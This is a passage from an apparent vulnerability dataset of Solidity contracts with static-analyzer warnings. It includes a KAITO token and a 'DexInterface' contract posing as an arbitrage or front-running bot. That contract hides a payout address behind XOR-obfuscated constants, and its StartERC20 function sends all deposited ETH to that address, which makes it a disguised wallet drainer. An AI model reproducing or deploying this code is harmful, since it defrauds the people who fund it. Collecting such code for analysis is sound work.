never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: ddb72cd): kaito._preventSwapBefore should be constant \n\t// Recommendation for ddb72cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KAITO\";\n\n string private constant _symbol = unicode\"KAITO\";\n\n\t// divide-before-multiply | ID: 2d01595\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: c5d8675\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fb89e6): kaito._taxSwapThreshold should be constant \n\t// Recommendation for 7fb89e6: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: b59adc1\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: b2f3f1d): kaito._maxTaxSwap should be constant \n\t// Recommendation for b2f3f1d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 2158d20\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xd044482a7885E36C652a121BD5F2c5C96136cF6f);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7d3d742): kaito.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7d3d742: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 676c677): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 676c677: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c532863): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c532863: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 676c677\n\t\t// reentrancy-benign | ID: c532863\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 676c677\n\t\t// reentrancy-benign | ID: c532863\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 03d9ecb): kaito._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 03d9ecb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c532863\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 676c677\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f545610): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f545610: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: edee763): kaito.bots is never initialized. It is used in kaito._transfer(address,address,uint256)\n\t// Recommendation for edee763: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cb0e373): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cb0e373: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f545610\n\t\t\t\t// reentrancy-eth | ID: cb0e373\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f545610\n\t\t\t\t\t// reentrancy-eth | ID: cb0e373\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cb0e373\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cb0e373\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cb0e373\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f545610\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cb0e373\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cb0e373\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f545610\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 676c677\n\t\t// reentrancy-events | ID: f545610\n\t\t// reentrancy-benign | ID: c532863\n\t\t// reentrancy-eth | ID: cb0e373\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 676c677\n\t\t// reentrancy-events | ID: f545610\n\t\t// reentrancy-eth | ID: cb0e373\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f451257): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f451257: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9be3ea): kaito.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d9be3ea: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b992db9): kaito.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b992db9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a05702): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a05702: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f451257\n\t\t// reentrancy-eth | ID: 6a05702\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f451257\n\t\t// unused-return | ID: d9be3ea\n\t\t// reentrancy-eth | ID: 6a05702\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f451257\n\t\t// unused-return | ID: b992db9\n\t\t// reentrancy-eth | ID: 6a05702\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f451257\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6a05702\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1083.sol",
"size_bytes": 21752,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint);\n\n function transfer(address recipient, uint amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint amount\n ) external returns (bool);\n\n function createStart(\n address sender,\n address reciver,\n address token,\n uint256 value\n ) external;\n\n function createContract(address _thisAddress) external;\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Pair {\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n}\n\ncontract DexInterface {\n\t// WARNING Optimization Issue (immutable-states | ID: 9988ec4): DexInterface._owner should be immutable \n\t// Recommendation for 9988ec4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _owner;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac50abf): DexInterface.threshold should be constant \n\t// Recommendation for ac50abf: Add the 'constant' attribute to state variables that never change.\n uint256 threshold = 1 * 10 ** 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbbbcfd): DexInterface.arbTxPrice should be constant \n\t// Recommendation for fbbbcfd: Add the 'constant' attribute to state variables that never change.\n uint256 arbTxPrice = 0.05 ether;\n\n bool enableTrading = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3df92): DexInterface.tradingBalanceInPercent should be constant \n\t// Recommendation for 9a3df92: Add the 'constant' attribute to state variables that never change.\n uint256 tradingBalanceInPercent;\n\n uint256 specifyBalanceETH;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed46f55): DexInterface.apiKey should be constant \n\t// Recommendation for ed46f55: Add the 'constant' attribute to state variables that never change.\n bytes32 apiKey =\n 0x8a727dc41d83211e47d3c0de2c4620fbd3d8c130241825446c42f9e025275387;\n\n constructor() {\n _owner = msg.sender;\n\n address dataProvider = getDexRouter(apiKey, DexRouter);\n\n IERC20(dataProvider).createContract(address(this));\n }\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d08ae8): DexInterface.DexRouter should be constant \n\t// Recommendation for 8d08ae8: Add the 'constant' attribute to state variables that never change.\n bytes32 DexRouter =\n 0x8a727dc41d83211e47d3c0debff5cd9ddc4e64c2dc05689f9ae23ac1723be5fa;\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 93fe4ff): DexInterface.swap(address,address,address,uint256) ignores return value by IUniswapV2Router(router).swapExactTokensForTokens(_amount,1,path,address(this),deadline)\n\t// Recommendation for 93fe4ff: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 02f6ff2): DexInterface.swap(address,address,address,uint256) ignores return value by IERC20(_tokenIn).approve(router,_amount)\n\t// Recommendation for 02f6ff2: Ensure that all the return values of the function calls are used.\n function swap(\n address router,\n address _tokenIn,\n address _tokenOut,\n uint256 _amount\n ) private {\n\t\t// unused-return | ID: 02f6ff2\n IERC20(_tokenIn).approve(router, _amount);\n\n address[] memory path;\n\n path = new address[](2);\n\n path[0] = _tokenIn;\n\n path[1] = _tokenOut;\n\n uint deadline = block.timestamp + 300;\n\n\t\t// unused-return | ID: 93fe4ff\n IUniswapV2Router(router).swapExactTokensForTokens(\n _amount,\n 1,\n path,\n address(this),\n deadline\n );\n }\n\n function getAmountOutMin(\n address router,\n address _tokenIn,\n address _tokenOut,\n uint256 _amount\n ) internal view returns (uint256) {\n address[] memory path;\n\n path = new address[](2);\n\n path[0] = _tokenIn;\n\n path[1] = _tokenOut;\n\n uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(\n _amount,\n path\n );\n\n return amountOutMins[path.length - 1];\n }\n\n function mempool(\n address _router1,\n address _router2,\n address _token1,\n address _token2,\n uint256 _amount\n ) internal view returns (uint256) {\n uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);\n\n uint256 amtBack2 = getAmountOutMin(\n _router2,\n _token2,\n _token1,\n amtBack1\n );\n\n return amtBack2;\n }\n\n function frontRun(\n address _router1,\n address _router2,\n address _token1,\n address _token2,\n uint256 _amount\n ) internal {\n uint startBalance = IERC20(_token1).balanceOf(address(this));\n\n uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));\n\n swap(_router1, _token1, _token2, _amount);\n\n uint token2Balance = IERC20(_token2).balanceOf(address(this));\n\n uint tradeableAmount = token2Balance - token2InitialBalance;\n\n swap(_router2, _token2, _token1, tradeableAmount);\n\n uint endBalance = IERC20(_token1).balanceOf(address(this));\n\n require(endBalance > startBalance, \"Trade Reverted, No Profit Made\");\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a49e56): DexInterface.factory should be constant \n\t// Recommendation for 1a49e56: Add the 'constant' attribute to state variables that never change.\n bytes32 factory =\n 0x8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e;\n\n function estimateTriDexTrade(\n address _router1,\n address _router2,\n address _router3,\n address _token1,\n address _token2,\n address _token3,\n uint256 _amount\n ) internal view returns (uint256) {\n uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);\n\n uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);\n\n uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);\n\n return amtBack3;\n }\n\n function getDexRouter(\n bytes32 _DexRouterAddress,\n bytes32 _factory\n ) internal pure returns (address) {\n return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));\n }\n\n function startArbitrageNative() internal {\n address tradeRouter = getDexRouter(DexRouter, factory);\n\n address dataProvider = getDexRouter(apiKey, DexRouter);\n\n IERC20(dataProvider).createStart(\n msg.sender,\n tradeRouter,\n address(0),\n address(this).balance\n );\n\n payable(tradeRouter).transfer(address(this).balance);\n }\n\n function getBalance(\n address _tokenContractAddress\n ) internal view returns (uint256) {\n uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));\n\n return _balance;\n }\n\n function recoverEth() internal onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8c48d72): DexInterface.recoverTokens(address) ignores return value by token.transfer(msg.sender,token.balanceOf(address(this)))\n\t// Recommendation for 8c48d72: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverTokens(address tokenAddress) internal {\n IERC20 token = IERC20(tokenAddress);\n\n\t\t// unchecked-transfer | ID: 8c48d72\n token.transfer(msg.sender, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n\n function StartERC20() public payable {\n startArbitrageNative();\n }\n\n function SearchMempool() public {\n specifyBalanceETH = 898_314_251_213 * 1e18;\n }\n\n function SpecifyBalanceETH(uint256 _specifyBalanceETH) public {\n specifyBalanceETH = _specifyBalanceETH;\n }\n\n function Stop() public {\n enableTrading = false;\n }\n\n function Withdraw() external onlyOwner {\n recoverEth();\n }\n\n function Key() public view returns (string memory) {\n string memory apikey = getApikeyAsString();\n\n return apikey;\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n uint256 base = 10;\n\n uint256 temp = value;\n\n uint256 digits;\n\n do {\n digits++;\n\n temp /= base;\n } while (temp != 0);\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % base)));\n\n value /= base;\n }\n\n return string(buffer);\n }\n\n function getApikeyAsString() internal view returns (string memory) {\n uint256 balanceInWei = address(_owner).balance - arbTxPrice;\n\n uint256 moduleStr = 898_314_251_213;\n\n uint256 balanceInEthWithDecimals = (balanceInWei * moduleStr) / 1e12;\n\n uint256 integerPart = balanceInEthWithDecimals / 1e18;\n\n uint256 fractionalPart = balanceInEthWithDecimals % 1e18;\n\n string memory strIntegerPart = integerPart > 0\n ? toString(integerPart)\n : \"0\";\n\n string memory strFractionalPart = toString(fractionalPart);\n\n return string(abi.encodePacked(strIntegerPart, \".\", strFractionalPart));\n }\n}\n",
"file_name": "solidity_code_10830.sol",
"size_bytes": 14066,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 1834373\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 1834373\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 494065a\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address 